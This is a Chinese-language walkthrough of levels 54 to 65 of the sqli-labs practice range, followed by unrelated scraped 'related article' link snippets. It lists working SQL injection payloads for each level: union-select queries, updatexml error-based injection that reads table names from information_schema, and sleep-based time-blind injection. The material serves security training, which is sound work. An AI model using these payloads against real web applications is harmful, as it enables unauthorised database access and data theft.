Less_54

Less-54:使用’’包裹

对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名

输入:?Id=1’ order by 3--+   查看有多少列;

输入 ?id=-1' union select 1,2,3 --+ 查看回显位置;

输入  ?id=-1'union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES' --+  查看表名;

下面操作和less1基本一致。

Less_55

Less55: 使用()包裹 

  对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名

其他操作与第54关基本一致

 

Less_56

Less56:使用('’)包裹  

对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名

其他操作与第54关基本一致

Less_57

Less57:使用””包裹

对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名

其他操作与第54关基本一致

Less_58

Less58:使用’’包裹  

对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名

输入 ?id=-1' union select 1,2,3 --+   并没有显示回显的位置;

所以我们不能使用union select联合查询,我们使用报错注入;

输入 ?id=-1'andupdatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES')),1) --+  查表名;

接下来步骤与less1基本一致。

Less_59

Less59:无包裹  

对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名

输入?id=-1 union select 1,2,3 --+  依旧没有回显位置;

所以同58关相同,使用报错注入。

Less_60

Less60:使用(“”)包裹  

对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名

采用报错注入与第58关基本一致

Less_61

Less61:使用((‘’))包裹

对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名

 采用报错注入与第58关基本一致

Less_62

Less62:使用(‘’)包裹 

对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名

使用时间盲注

输入 ?id=1') and if((length(database())=1),1,sleep(5))--+  判断数据库的长度;

输入 ?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 's' ,1, sleep(5)) --+  判断数据库字母是否比s大;

less_63

Less63:使用‘’包裹 

对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名

使用时间盲注其他操作与第62关基本一致。

less_64

Less64:使用(())包裹 

对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名

使用时间盲注其他操作与第62关基本一致。

 

 

Less_65

Less65:使用(“”)包裹 

对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名

使用时间盲注其他操作与第62关基本一致。

 

 

sqli-libs(54-65关)的更多相关文章

  1. 靶场练习-Sqli-labs通关记录(1-4关)

                              0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...

  2. R语言入门系列1--数学狗还是做数据好了

    nanana,作为一个不合格的数学专业学生,脑袋不好使,又穷逼,只好学点儿实用的东西,希望能养活自己~~~ 不瞎哔哔,想做数据方面工作的时候在犹豫是学R还是学python,一点儿python基础都没有 ...

  3. JavaScript基础知识点

    本书目录 第一章:  JavaScript语言基础 第二章:  JavaScript内置对象第三章:  窗口window对象第四章:  文档document对象第五章:  表单form对象第六章:   ...

  4. MFS分布式文件系统

    一.MFS概述: MooseFS(moose 驼鹿)是一款网络分布式文件系统.它把数据分散在多台服务器上,但对于用户来讲,看到的只是一个源.MFS也像其他类unix文件系统一样,包含了层级结构(目录树 ...

  5. Linux MFS分布式文件系统介绍和安装

    MFS分布式文件系统 mooseFS(moose 驼鹿)是一款网络分布式文件系统.它把数据分散在多台服务器上,但对于用户来讲,看到的只是一个源.MFS也像其他类unix文件系统一样,包含了层级结构(目 ...

  6. 为什么hadoop中用到的序列化不是java的serilaziable接口去序列化而是使用Writable序列化框架

    继上一个模块之后,此次分析的内容是来到了Hadoop IO相关的模块了,IO系统的模块可谓是一个比较大的模块,在Hadoop Common中的io,主要包括2个大的子模块构成,1个是以Writable ...

  7. 一次修改闭源 Entity Provider 程序集以兼容新 EntityFramework 的过程

    读完本文你会知道,如何在没有源码的情况下,直接修改一个 DLL 以去除 DLL 上的强命名限制,并在该程序集上直接添加你的“友元程序集(一种特殊的 Attribute,将它应用在程序集上,使得程序集内 ...

  8. php中用GD绘制折线图

    php中用GD绘制折线图,代码如下: Class Chart{ private $image; // 定义图像 private $title; // 定义标题 private $ydata; // 定 ...

  9. Python基础三. 函数、lambda、filter、map、reduce

    一.概述 函数, 就是用一些语句组织起来实现一组特定的功能, 用来重复调用. 函数的作用及意义:最大化的重用代码和最小化的代码冗余以及对流程的分解. Python中有哪些函数: 内建的函数 第三方模块 ...

  10. 数组 Arrays类

    1.数组是一组变量集合,用来存储相同数据类型的一组数据的连续的空间. *数组名(标识符)连续空间首地址. *元素下标标明元素在数组中的位置,从0开始. *每个元素都可以通过下标来访问. *数组长度固定 ...

随机推荐

  1. Linux运维--14.Kolla部署OpenStack使用external MariaDB Galera Cluster

    使用haproxy+keepalived实现Mariadb负载均衡 controller2: 10.100.2.52 haproxy+keepalived controller3: 10.100.2. ...

  2. Vuex项目实战store

    首先简单了解一下什么是Vuex? Vuex是一个专为Vue.js应用程序开发的状态管理模式.采用集中式存储来管理应用所有组件的状态. 以下是对vuex的使用的简单介绍: 一.安装 npm i vuex ...

  3. PP: Modeling extreme events in time series prediction

    KDD: Knowledge Discovery and Data Mining (KDD) Insititute: 复旦大学,中科大 Problem: time series prediction; ...

  4. nice-validator判断表单是否验证通过

    $("#formSurvery").isValid(function(is){ if(is){ alert("通过!") } } 如果is为false则表示不通 ...

  5. navicat连接mysql8.0+版本报错2059

    ERROR 2059 : Authentication plugin 'caching_sha2_password' cannot be loaded 问题: 连接Docker启动的mysql出现:E ...

  6. bat文件一键运行python自动化脚本

    目标:建立一个双击即可运行自动化脚本的机制,而不用每次运行编译器,方便测试人员用户体验. 方法: 1. 将所有代码打包成exe文件,但一旦修改,又要重新打包. 2. 将运行代码写成bat文件,双击即执 ...

  7. 修改json数据中key(键值)

    //方法一:修改JSONObject的键 public static JSONObject changeJsonObj(JSONObject jsonObj,Map<String, String ...

  8. ECMAScript基本语法——④变量

    简介 变量:一小块存储数据的内存空间先申请了一块内存空间,规定空间的存储类型,给空间赋值3, 想找到这个3可以通过内存空间的地址值,但是通过地址值太麻烦了,给这个空间起了一个名字a 通过这个a可以找到 ...

  9. 2020算法设计竞赛 I、匹配星星

    链接:https://ac.nowcoder.com/acm/contest/3005/I来源:牛客网 天上有n颗星星,每颗星星有二维坐标(xi,yi)(x_i, y_i)(xi​,yi​),还有一个 ...

  10. java异常处理课后作

    1.动手动脑 源码 import javax.swing.*; class AboutException {   public static void main(String[] a)    {    ...